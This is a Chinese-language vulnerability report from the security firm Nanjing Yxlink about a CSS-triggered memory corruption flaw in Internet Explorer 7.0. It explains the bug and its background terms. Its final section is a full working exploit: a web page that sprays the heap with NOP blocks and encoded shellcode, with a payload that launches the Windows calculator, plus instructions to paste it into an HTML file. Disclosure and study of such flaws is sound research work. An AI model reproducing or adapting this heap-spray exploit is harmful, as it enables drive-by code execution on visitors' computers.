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                                                      铱迅漏洞威胁报告
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Microsoft Internet Explorer 7.0 异常CSS导致内存破坏漏洞（可以执行任意代码）
内部漏洞编号 
（YV20090432）
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特别注意：
此漏洞报告来自南京铱迅信息技术有限公司，漏洞中的某些部分可能会威胁您的计算机，请提前做好计算机数据备份，防止造成未知的后果！南京铱迅信息技术有限公司拥有最终解释权。


南京铱迅信息技术有限公司
Nanjing Yxlink Information Technologies Co.,Ltd.
目   录

3一、漏洞介绍


4二、相关名词解释


5三、漏洞细节


6四、漏洞利用




一、漏洞介绍
1．漏洞介绍
在XHTML 1.0标准下，使用特殊构造的CSS样式，在Internet Explorer 7.0 打开特定的网页后，Internet Explorer 7.0将发生内存崩溃，EIP指针将访问0x70613e5b附近的内存区域。如果将0x70613e5b附近覆盖特殊的机器码，就可以执行任意命令。

2．漏洞危害(危害等级高)
黑客如果将含有“漏洞利用程序的网页”置于网站上，浏览过含有“漏洞利用程序的网页”的客户端将被运行特洛伊木马。
二、相关名词解释
1.XHTML 与 DTD
XHTML 1.0 提供了三种DTD声明可供选择，其中一种叫做过渡的(Transitional)。

过渡的(Transitional):要求非常宽松的DTD，它允许你继续使用HTML4.01的标识(但是要符合xhtml的写法)。完整代码如下：

<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"> 
2.Heap Spray

传统Heap Spray是使用javascript去分配内存。根据heap spray的思想，就是用同样的一个指令，去覆盖一片大内存地址，在每块分配到的内存最后，都付上我们的shellcode。当EIP指针访问到大片的NOP指令后，将会走入Shellcode中。

3.CSS

CSS是Cascading Style Sheets(层叠样式表)的简称.

    * CSS语言是一种标记语言,它不需要编译,可以直接由浏览器执行(属于浏览器解释型语言).

    * 在标准网页设计中CSS负责网页内容(XHTML)的表现.

    * CSS文件也可以说是一个文本文件,它包含了一些CSS标记,CSS文件必须使用css为文件名后缀.

    * 可以通过简单的更改CSS文件,改变网页的整体表现形式,可以减少我们的工作量,所以她是每一个网页设计人员的必修课.

    * CSS是由W3C的CSS工作组产生和维护的.
三、漏洞细节
1、 使用XHTML标准
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HTML xmlns="http://www.w3.org/1999/xhtml">  
2、 构造导致IE 7.0 崩溃的CSS 与 JavaScript

<HEAD>

<script>   

            function load(){

                var e;

                e=document.getElementsByTagName("STYLE")[0];

                e.outerHTML="1"; 

            }

        </script>     

        <STYLE type="text/css">

            body{ overflow: scroll; margin: 0; }

        </style>

    </HEAD>    

    <BODY onload="load()">

    </BODY>

</HTML>
四、漏洞利用
1. 通过此漏洞执行Windows的calc命令示例（利用成功后将执行计算器程序）
<!--
请将以下内容粘贴到html文件中
南京铱迅信息技术有限公司（Nanjing Yxlink Information Technologies Co.,Ltd.）

http://www.yxlink.com

-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HTML xmlns="http://www.w3.org/1999/xhtml">  

    <HEAD>

<script>   

            function load(){

                var e;

                e=document.getElementsByTagName("STYLE")[0];

                e.outerHTML="1"; 

            }

        </script>     

        <STYLE type="text/css">

            body{ overflow: scroll; margin: 0; }

        </style>

        <SCRIPT language="javascript">

var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var bigblock = unescape("%u9090%u9090");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<4000; x++) memory[x] = block + shellcode;

</script>

    </HEAD>    

    <BODY onload="load()">

    </BODY>

</HTML>
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